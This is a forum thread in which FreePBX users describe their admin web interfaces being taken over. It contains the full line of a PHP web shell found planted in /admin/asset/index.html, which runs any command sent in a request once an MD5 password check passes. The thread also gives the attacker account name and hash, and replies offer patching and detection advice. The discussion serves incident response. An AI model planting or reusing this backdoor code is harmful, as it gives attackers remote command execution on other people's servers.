Who may invesigate how FreePBX WEB admin was hacked?

Hello Everyone,

I have test FreePBX in the Virtual server, yesterday I couldn’t login into it with admin rights.
When I logged under root to Debian, I found in the database user “peace” with next MD5 password: 1d2c8d1a7bc7cd5b2fa9977069d76fb3 instead of my admin user and password.
Moreover I found two new files, one of them index.html under /admin/asset that had this code:

eFalcon> <?php if(md5($_REQUEST['p'])=='1d2c8d1a7bc7cd5b2fa9977069d76fb3') { echo ''; @system($_REQUEST['c']); echo ''; } ?>

From my understanding this file was injected into Apache server and changed a password. I have Apache access.log if anyone interested to do this investigation to avoid the same problem in community. Let us know.

Thanks for the info but it’s already been addressed. Guess you didn’t search before you posted?

http://www.freepbx.org/news/2014-02-06/security-vulnerability-notice

At the bottom of the above post there is a subscribe link. It may be a good idea to subscribe to these updates so you know when to absolutely update.
This is even more important if your system is exposed to the outside world.

Note it is a small group of security professionals that find these and they have no malicious intent. They are typically reported to the developers first to be fixed then published. This allows the developers to push out updates. Once it is published every basement hacker will try and use it on any open system they can find. Subscribing to our news feed should help you stay a step ahead.

Same here.
Also user PEACE or VAMPIRE.
When we updated the distro and modules, and deleteing the strange users, Within 5 hours the same happenend. It looks they injected some haching files into the OS.
We are investigating this, but still strange it can happen even after the module updates.

As we se now, they uploaded a Tar file to our OS with a complete copy of adjusted php files for the www/html/admin directory.
They replaced our complete Webgui.
Very dangerous hack.

A little late but CSF properly configured to watch vulnerably directories like /tmp amd /var/www/ would likely have caught that as it happened and preempted the attack.

(also you really also need rkhunter or one of it’s ilk to protect your base install)

look in your /tmp directory and cron jobs for likely culprits, /tmp should always be ram based and hence ephemeral IMHO.